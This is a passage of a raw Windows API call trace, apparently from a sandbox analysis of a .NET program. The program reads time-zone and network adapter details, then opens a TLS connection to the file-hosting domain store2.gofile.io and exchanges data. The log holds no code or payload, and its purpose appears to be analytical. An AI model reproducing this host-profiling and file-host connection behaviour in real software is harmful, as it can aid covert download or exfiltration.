cHandles=0x1, pHandles=0x3ee7e4*=0x430, lpdwindex=0x3ee608 | out: lpdwindex=0x3ee608) returned 0x80010115 [0170.628] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ee7c4*=0x420, lpdwindex=0x3ee5e8 | out: lpdwindex=0x3ee5e8) returned 0x80010115 [0170.628] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ee7c4*=0x428, lpdwindex=0x3ee5e8 | out: lpdwindex=0x3ee5e8) returned 0x80010115 [0170.628] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ee818*=0x450, lpdwindex=0x3ee63c | out: lpdwindex=0x3ee63c) returned 0x80010115 [0170.628] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ee818*=0x458, lpdwindex=0x3ee63c | out: lpdwindex=0x3ee63c) returned 0x80010115 [0170.628] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ee818*=0x460, lpdwindex=0x3ee63c | out: lpdwindex=0x3ee63c) returned 0x80010115 [0170.632] GetCurrentProcess () returned 0xffffffff [0170.632] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee520 | out: TokenHandle=0x3ee520*=0x4bc) returned 1 [0170.633] CloseHandle (hObject=0x4bc) returned 1 [0170.633] GetCurrentProcess () returned 0xffffffff [0170.633] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee538 | out: TokenHandle=0x3ee538*=0x4bc) returned 1 [0170.634] CloseHandle (hObject=0x4bc) returned 1 [0170.636] GetTimeZoneInformation (in: lpTimeZoneInformation=0x3ee6e8 | out: lpTimeZoneInformation=0x3ee6e8) returned 0x2 [0170.649] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x3ee544 | out: pTimeZoneInformation=0x3ee544) returned 0x2 [0170.651] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee628 | out: phkResult=0x3ee628*=0x4bc) returned 0x0 [0170.651] RegQueryValueExW (in: hKey=0x4bc, lpValueName="TZI", lpReserved=0x0, lpType=0x3ee644, lpData=0x0, lpcbData=0x3ee640*=0x0 | out: lpType=0x3ee644*=0x3, lpData=0x0, lpcbData=0x3ee640*=0x2c) returned 0x0 [0170.651] RegQueryValueExW (in: hKey=0x4bc, lpValueName="TZI", lpReserved=0x0, lpType=0x3ee644, lpData=0x218ec6c, lpcbData=0x3ee640*=0x2c | out: lpType=0x3ee644*=0x3, lpData=0x218ec6c*, lpcbData=0x3ee640*=0x2c) returned 0x0 [0170.652] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee47c | out: phkResult=0x3ee47c*=0x0) returned 0x2 [0170.653] RegQueryValueExW (in: hKey=0x4bc, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x3ee61c, lpData=0x0, lpcbData=0x3ee618*=0x0 | out: lpType=0x3ee61c*=0x1, lpData=0x0, lpcbData=0x3ee618*=0x20) returned 0x0 [0170.653] RegQueryValueExW (in: hKey=0x4bc, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x3ee61c, lpData=0x218f090, lpcbData=0x3ee618*=0x20 | out: lpType=0x3ee61c*=0x1, lpData="@tzres.dll,-320", lpcbData=0x3ee618*=0x20) returned 0x0 [0170.653] RegQueryValueExW (in: hKey=0x4bc, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x3ee61c, lpData=0x0, lpcbData=0x3ee618*=0x0 | out: lpType=0x3ee61c*=0x1, lpData=0x0, lpcbData=0x3ee618*=0x20) returned 0x0 [0170.653] RegQueryValueExW (in: hKey=0x4bc, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x3ee61c, lpData=0x218f0e8, lpcbData=0x3ee618*=0x20 | out: lpType=0x3ee61c*=0x1, lpData="@tzres.dll,-322", lpcbData=0x3ee618*=0x20) returned 0x0 [0170.653] RegQueryValueExW (in: hKey=0x4bc, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x3ee61c, lpData=0x0, lpcbData=0x3ee618*=0x0 | out: lpType=0x3ee61c*=0x1, lpData=0x0, lpcbData=0x3ee618*=0x20) returned 0x0 [0170.653] RegQueryValueExW (in: hKey=0x4bc, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x3ee61c, lpData=0x218f140, lpcbData=0x3ee618*=0x20 | out: lpType=0x3ee61c*=0x1, lpData="@tzres.dll,-321", lpcbData=0x3ee618*=0x20) returned 0x0 [0170.655] CoTaskMemAlloc (cb=0x20c) returned 0x8ca0c8 [0170.655] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x8ca0c8 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0170.656] CoTaskMemFree (pv=0x8ca0c8) [0170.656] CoTaskMemAlloc (cb=0x20c) returned 0x8ca0c8 [0170.656] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x3ee638, pwszFileMUIPath=0x8ca0c8, pcchFileMUIPath=0x3ee63c, pululEnumerator=0x3ee630 | out: pwszLanguage=0x0, pcchLanguage=0x3ee638, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x3ee63c, pululEnumerator=0x3ee630) returned 1 [0170.663] CoTaskMemFree (pv=0x0) [0170.663] CoTaskMemFree (pv=0x8ca0c8) [0170.664] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x4c0001 [0170.667] CoTaskMemAlloc (cb=0x3ec) returned 0x8ca0c8 [0170.667] LoadStringW (in: hInstance=0x4c0001, uID=0x140, lpBuffer=0x8ca0c8, cchBufferMax=500 | out: lpBuffer="(UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna") returned 0x3c [0170.667] CoTaskMemFree (pv=0x8ca0c8) [0170.668] FreeLibrary (hLibModule=0x4c0001) returned 1 [0170.668] CoTaskMemAlloc (cb=0x20c) returned 0x8ca0c8 [0170.668] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x8ca0c8 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0170.668] CoTaskMemFree (pv=0x8ca0c8) [0170.668] CoTaskMemAlloc (cb=0x20c) returned 0x8ca0c8 [0170.668] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x3ee638, pwszFileMUIPath=0x8ca0c8, pcchFileMUIPath=0x3ee63c, pululEnumerator=0x3ee630 | out: pwszLanguage=0x0, pcchLanguage=0x3ee638, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x3ee63c, pululEnumerator=0x3ee630) returned 1 [0170.671] CoTaskMemFree (pv=0x0) [0170.671] CoTaskMemFree (pv=0x8ca0c8) [0170.671] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x4c0001 [0170.674] CoTaskMemAlloc (cb=0x3ec) returned 0x8ca4b0 [0170.674] LoadStringW (in: hInstance=0x4c0001, uID=0x142, lpBuffer=0x8ca4b0, cchBufferMax=500 | out: lpBuffer="W. Europe Standard Time") returned 0x17 [0170.674] CoTaskMemFree (pv=0x8ca4b0) [0170.674] FreeLibrary (hLibModule=0x4c0001) returned 1 [0170.675] CoTaskMemAlloc (cb=0x20c) returned 0x87e718 [0170.675] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x87e718 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0170.675] CoTaskMemFree (pv=0x87e718) [0170.675] CoTaskMemAlloc (cb=0x20c) returned 0x87e718 [0170.675] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x3ee638, pwszFileMUIPath=0x87e718, pcchFileMUIPath=0x3ee63c, pululEnumerator=0x3ee630 | out: pwszLanguage=0x0, pcchLanguage=0x3ee638, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x3ee63c, pululEnumerator=0x3ee630) returned 1 [0170.678] CoTaskMemFree (pv=0x0) [0170.678] CoTaskMemFree (pv=0x87e718) [0170.678] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x4c0001 [0170.681] CoTaskMemAlloc (cb=0x3ec) returned 0x8ca4b0 [0170.681] LoadStringW (in: hInstance=0x4c0001, uID=0x141, lpBuffer=0x8ca4b0, cchBufferMax=500 | out: lpBuffer="W. Europe Daylight Time") returned 0x17 [0170.681] CoTaskMemFree (pv=0x8ca4b0) [0170.682] FreeLibrary (hLibModule=0x4c0001) returned 1 [0170.683] RegCloseKey (hKey=0x4bc) returned 0x0 [0170.683] SetEvent (hEvent=0x2a4) returned 1 [0170.694] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x3ee844 | out: pFixedInfo=0x0, pOutBufLen=0x3ee844) returned 0x6f [0170.717] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x87e718 [0170.718] GetNetworkParams (in: pFixedInfo=0x87e718, pOutBufLen=0x3ee844 | out: pFixedInfo=0x87e718, pOutBufLen=0x3ee844) returned 0x0 [0170.732] LocalFree (hMem=0x87e718) returned 0x0 [0170.735] CoTaskMemAlloc (cb=0x20c) returned 0x87e718 [0170.735] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_Disabled", lpBuffer=0x87e718, nSize=0x104 | out: lpBuffer="") returned 0x0 [0170.735] CoTaskMemFree (pv=0x87e718) [0170.735] CoTaskMemAlloc (cb=0x20c) returned 0x87e718 [0170.735] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_MinCount", lpBuffer=0x87e718, nSize=0x104 | out: lpBuffer="") returned 0x0 [0170.735] CoTaskMemFree (pv=0x87e718) [0170.741] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4d0 [0170.742] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4cc [0170.743] GetAddrInfoW (in: pNodeName="store2.gofile.io", pServiceName=0x0, pHints=0x3ee720*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x3ee6c8 | out: ppResult=0x3ee6c8*=0x8c89b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="store2.gofile.io", ai_addr=0x8c7cd8*(sa_family=2, sin_port=0x0, sin_addr="31.14.69.10"), ai_next=0x0)) returned 0 [0170.826] FreeAddrInfoW (pAddrInfo=0x8c89b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="store2.gofile.io", ai_addr=0x8c7cd8*(sa_family=2, sin_port=0x0, sin_addr="31.14.69.10"), ai_next=0x0)) [0170.827] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4d8 [0170.828] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4e4 [0170.828] ioctlsocket (in: s=0x4d8, cmd=-2147195266, argp=0x3ee6f8 | out: argp=0x3ee6f8) returned 0 [0170.828] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4e8 [0170.828] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4ec [0170.828] ioctlsocket (in: s=0x4e8, cmd=-2147195266, argp=0x3ee6f8 | out: argp=0x3ee6f8) returned 0 [0170.828] WSAIoctl (in: s=0x4d8, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x3ee6e0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x3ee6e0, lpOverlapped=0x0) returned -1 [0170.829] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x3ee410, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0170.829] WSAEventSelect (s=0x4d8, hEventObject=0x4e4, lNetworkEvents=512) returned 0 [0170.829] WSAIoctl (in: s=0x4e8, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x3ee6e0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x3ee6e0, lpOverlapped=0x0) returned -1 [0170.829] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x3ee410, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0170.829] WSAEventSelect (s=0x4e8, hEventObject=0x4ec, lNetworkEvents=512) returned 0 [0170.829] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x3ee6dc*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x3ee6dc*=0x7ec) returned 0x6f [0170.835] LocalAlloc (uFlags=0x0, uBytes=0x7ec) returned 0x8cad60 [0170.835] GetAdaptersAddresses (in: Family=0x0, Flags=0x2e, Reserved=0x0, AdapterAddresses=0x8cad60, SizePointer=0x3ee6dc*=0x7ec | out: AdapterAddresses=0x8cad60*(Alignment=0xf00000178, Length=0x178, IfIndex=0xf, Next=0x8cb02c, AdapterName="{2E4C7576-F100-4C39-A70C-5E6D4E6BF9B7}", FirstUnicastAddress=0x8cafa0, FirstAnycastAddress=0x0, FirstMulticastAddress=0x0, FirstDnsServerAddress=0x0, DnsSuffix="", Description="Intel(R) 82574L Gigabit Network Connection #4", FriendlyName="Local Area Connection 4", PhysicalAddress=([0]=0x0, [1]=0xd0, [2]=0x3e, [3]=0xe0, [4]=0x98, [5]=0x13, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0xf, ZoneIndices=([0]=0xf, [1]=0xf, [2]=0xf, [3]=0xf, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6000009000000, Dhcpv4Server.lpSockaddr=0x8caed8*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x27, [5]=0xbf, [6]=0xe, [7]=0x9e, [8]=0x0, [9]=0x26, [10]=0x67, [11]=0xd5, [12]=0xc6, [13]=0x31, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x12c89f1d, FirstDnsSuffix=0x0), SizePointer=0x3ee6dc*=0x7ec) returned 0x0 [0170.850] LocalFree (hMem=0x8cad60) returned 0x0 [0170.852] WSAConnect (in: s=0x4d0, name=0x219ad14*(sa_family=2, sin_port=0x1bb, sin_addr="31.14.69.10"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0170.892] closesocket (s=0x4cc) returned 0 [0170.915] EnumerateSecurityPackagesW (in: pcPackages=0x3ee64c, ppPackageInfo=0x3ee5e0 | out: pcPackages=0x3ee64c, ppPackageInfo=0x3ee5e0) returned 0x0 [0170.919] FreeContextBuffer (in: pvContextBuffer=0x8cad60 | out: pvContextBuffer=0x8cad60) returned 0x0 [0170.927] GetCurrentProcess () returned 0xffffffff [0170.927] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee408 | out: TokenHandle=0x3ee408*=0x4cc) returned 1 [0170.929] AcquireCredentialsHandleW (in: pPrincipal=0x0, pPackage=0x219bed0, fCredentialUse=0x2, pvLogonId=0x0, pAuthData=0x3ee45c, pGetKeyFn=0x0, pvGetKeyArgument=0x0, phCredential=0x219d580, ptsExpiry=0x3ee3e0 | out: phCredential=0x219d580, ptsExpiry=0x3ee3e0) returned 0x0 [0171.254] CloseHandle (hObject=0x4cc) returned 1 [0171.256] InitializeSecurityContextW (in: phCredential=0x3ee42c, phContext=0x0, pTargetName=0x219ae0c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x0, Reserved2=0x0, phNewContext=0x219d784, pOutput=0x219d71c, pfContextAttr=0x219bea4, ptsExpiry=0x3ee424 | out: phNewContext=0x219d784, pOutput=0x219d71c, pfContextAttr=0x219bea4, ptsExpiry=0x3ee424) returned 0x90312 [0171.257] FreeContextBuffer (in: pvContextBuffer=0x87fea0 | out: pvContextBuffer=0x87fea0) returned 0x0 [0171.259] send (s=0x4d0, buf=0x219d798*, len=158, flags=0) returned 158 [0171.262] recv (in: s=0x4d0, buf=0x219d798, len=5, flags=0 | out: buf=0x219d798*) returned 5 [0171.316] recv (in: s=0x4d0, buf=0x219d79d, len=55, flags=0 | out: buf=0x219d79d*) returned 55 [0171.316] InitializeSecurityContextW (in: phCredential=0x3ee388, phContext=0x3ee378, pTargetName=0x219ae0c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x219d9f8, Reserved2=0x0, phNewContext=0x219d784, pOutput=0x219da0c, pfContextAttr=0x219bea4, ptsExpiry=0x3ee380 | out: phNewContext=0x219d784, pOutput=0x219da0c, pfContextAttr=0x219bea4, ptsExpiry=0x3ee380) returned 0x90312 [0171.320] recv (in: s=0x4d0, buf=0x219da9c, len=5, flags=0 | out: buf=0x219da9c*) returned 5 [0171.321] recv (in: s=0x4d0, buf=0x219dac1, len=4280, flags=0 | out: buf=0x219dac1*) returned 4280 [0171.321] InitializeSecurityContextW (in: phCredential=0x3ee2e8, phContext=0x3ee2d8, pTargetName=0x219ae0c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x219ebec, Reserved2=0x0, phNewContext=0x219d784, pOutput=0x219ec00, pfContextAttr=0x219bea4, ptsExpiry=0x3ee2e0 | out: phNewContext=0x219d784, pOutput=0x219ec00, pfContextAttr=0x219bea4, ptsExpiry=0x3ee2e0) returned 0x90312 [0171.328] recv (in: s=0x4d0, buf=0x219ec90, len=5, flags=0 | out: buf=0x219ec90*) returned 5 [0171.329] recv (in: s=0x4d0, buf=0x219eca9, len=621, flags=0 | out: buf=0x219eca9*) returned 621 [0171.329] InitializeSecurityContextW (in: phCredential=0x3ee248, phContext=0x3ee238, pTargetName=0x219ae0c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x219ef88, Reserved2=0x0, phNewContext=0x219d784, pOutput=0x219ef9c, pfContextAttr=0x219bea4, ptsExpiry=0x3ee240 | out: phNewContext=0x219d784, pOutput=0x219ef9c, pfContextAttr=0x219bea4, ptsExpiry=0x3ee240) returned 0x90312 [0171.329] recv (in: s=0x4d0, buf=0x219f02c, len=5, flags=0 | out: buf=0x219f02c*) returned 5 [0171.329] recv (in: s=0x4d0, buf=0x219f045, len=4, flags=0 | out: buf=0x219f045*) returned 4 [0171.329] InitializeSecurityContextW (in: phCredential=0x3ee1a8, phContext=0x3ee198, pTargetName=0x219ae0c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x219f0bc, Reserved2=0x0, phNewContext=0x219d784, pOutput=0x219f0d0, pfContextAttr=0x219bea4, ptsExpiry=0x3ee1a0 | out: phNewContext=0x219d784, pOutput=0x219f0d0, pfContextAttr=0x219bea4, ptsExpiry=0x3ee1a0) returned 0x90312 [0171.358] FreeContextBuffer (in: pvContextBuffer=0x875870 | out: pvContextBuffer=0x875870) returned 0x0 [0171.358] send (s=0x4d0, buf=0x219f14c*, len=198, flags=0) returned 198 [0171.358] recv (in: s=0x4d0, buf=0x219f14c, len=5, flags=0 | out: buf=0x219f14c*) returned 5 [0171.394] recv (in: s=0x4d0, buf=0x219f151, len=1, flags=0 | out: buf=0x219f151*) returned 1 [0171.394] InitializeSecurityContextW (in: phCredential=0x3ee108, phContext=0x3ee0f8, pTargetName=0x219ae0c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x219f298, Reserved2=0x0, phNewContext=0x219d784, pOutput=0x219f2ac, pfContextAttr=0x219bea4, ptsExpiry=0x3ee100 | out: phNewContext=0x219d784, pOutput=0x219f2ac, pfContextAttr=0x219bea4, ptsExpiry=0x3ee100) returned 0x90312 [0171.395] recv (in: s=0x4d0, buf=0x219f33c, len=5, flags=0 | out: buf=0x219f33c*) returned 5 [0171.395] recv (in: s=0x4d0, buf=0x219f355, len=80, flags=0 | out: buf=0x219f355*) returned 80 [0171.395] InitializeSecurityContextW (in: phCredential=0x3ee068, phContext=0x3ee058, pTargetName=0x219ae0c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x219f418, Reserved2=0x0, phNewContext=0x219d784, pOutput=0x219f42c, pfContextAttr=0x219bea4, ptsExpiry=0x3ee060 | out: phNewContext=0x219d784, pOutput=0x219f42c, pfContextAttr=0x219bea4, ptsExpiry=0x3ee060) returned 0x0 [0171.877] QueryContextAttributesW (in: phContext=0x219d784, ulAttribute=0x4, pBuffer=0x219f4d8 | out: pBuffer=0x219f4d8) returned 0x0 [0171.880] QueryContextAttributesW (in: phContext=0x219d784, ulAttribute=0x5a, pBuffer=0x219f530 | out: pBuffer=0x219f530) returned 0x0 [0171.886] QueryContextAttributesW (in: phContext=0x219d784, ulAttribute=0x53, pBuffer=0x219f5dc | out: pBuffer=0x219f5dc) returned 0x0 [0171.893] CertDuplicateCRLContext (pCrlContext=0x88ced0) returned 0x88ced0 [0171.894] CertDuplicateStore (hCertStore=0x8af0a0) returned 0x8af0a0 [0171.895] CertEnumCertificatesInStore (hCertStore=0x8af0a0, pPrevCertContext=0x0) returned 0x88cf70 [0171.895] CertDuplicateCRLContext (pCrlContext=0x88cf70) returned 0x88cf70 [0171.895] CertEnumCertificatesInStore (hCertStore=0x8af0a0, pPrevCertContext=0x88cf70) returned 0x88cf20 [0171.896] CertDuplicateCRLContext (pCrlContext=0x88cf20) returned 0x88cf20 [0171.896] CertEnumCertificatesInStore (hCertStore=0x8af0a0, pPrevCertContext=0x88cf20) returned 0x88ced0 [0171.896] CertDuplicateCRLContext (pCrlContext=0x88ced0) returned 0x88ced0 [0171.896] CertEnumCertificatesInStore (hCertStore=0x8af0a0, pPrevCertContext=0x88ced0) returned 0x0 [0171.896] CertCloseStore (hCertStore=0x8af0a0, dwFlags=0x0) returned 1 [0171.896] CertFreeCRLContext (pCrlContext=0x88ced0) returned 1 [0171.907] CertOpenStore (lpszStoreProvider=0x2, dwEncodingType=0x10001, hCryptProv=0x0, dwFlags=0x2204, pvPara=0x0) returned 0x89a760 [0171.908] CertAddCRLLinkToStore (in: hCertStore=0x89a760, pCrlContext=0x88cf70, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0171.908] CertAddCRLLinkToStore (in: hCertStore=0x89a760, pCrlContext=0x88cf20, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0171.908] CertAddCRLLinkToStore (in: hCertStore=0x89a760, pCrlContext=0x88ced0, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0171.910] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x8a0e80 [0171.912] CertGetCertificateChain (in: hChainEngine=0x0, pCertContext=0x88ced0, pTime=0x3ee074, hAdditionalStore=0x89a760, pChainPara=0x3edfb4, dwFlags=0x0, pvReserved=0x0, ppChainContext=0x3edfa8 | out: ppChainContext=0x3edfa8) returned 1 [0172.772] LocalFree (hMem=0x8a0e80) returned 0x0 [0172.773] CertDuplicateCertificateChain (pChainContext=0x807b590) returned 0x807b590 [0172.775] CertDuplicateCRLContext (pCrlContext=0x88ced0) returned 0x88ced0 [0172.776] CertDuplicateCRLContext (pCrlContext=0x8636148) returned 0x8636148 [0172.776] CertDuplicateCRLContext (pCrlContext=0x86361e8) returned 0x86361e8 [0172.776] CertDuplicateCRLContext (pCrlContext=0x8636238) returned 0x8636238 [0172.777] CertFreeCertificateChain (pChainContext=0x807b590) [0172.777] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x1, pChainContext=0x807b590, pPolicyPara=0x3ee154, pPolicyStatus=0x3ee140 | out: pPolicyStatus=0x3ee140) returned 1 [0172.778] SetLastError (dwErrCode=0x0) [0172.780] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x4, pChainContext=0x807b590, pPolicyPara=0x3ee1b4, pPolicyStatus=0x3ee168 | out: pPolicyStatus=0x3ee168) returned 1 [0172.781] CertFreeCertificateChain (pChainContext=0x807b590) [0172.781] CertFreeCRLContext (pCrlContext=0x88ced0) returned 1 [0172.786] CoTaskMemAlloc (cb=0x20c) returned 0x860ff48 [0172.786] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_Disabled", lpBuffer=0x860ff48, nSize=0x104 | out: lpBuffer="") returned 0x0 [0172.786] CoTaskMemFree (pv=0x860ff48) [0172.786] CoTaskMemAlloc (cb=0x210) returned 0x860ff48 [0172.786] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_MinCount", lpBuffer=0x860ff48, nSize=0x106 | out: lpBuffer="") returned 0x0 [0172.787] CoTaskMemFree (pv=0x860ff48) [0172.787] CoTaskMemAlloc (cb=0x210) returned 0x860ff48 [0172.787] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_Disabled", lpBuffer=0x860ff48, nSize=0x106 | out: lpBuffer="") returned 0x0 [0172.787] CoTaskMemFree (pv=0x860ff48) [0172.787] 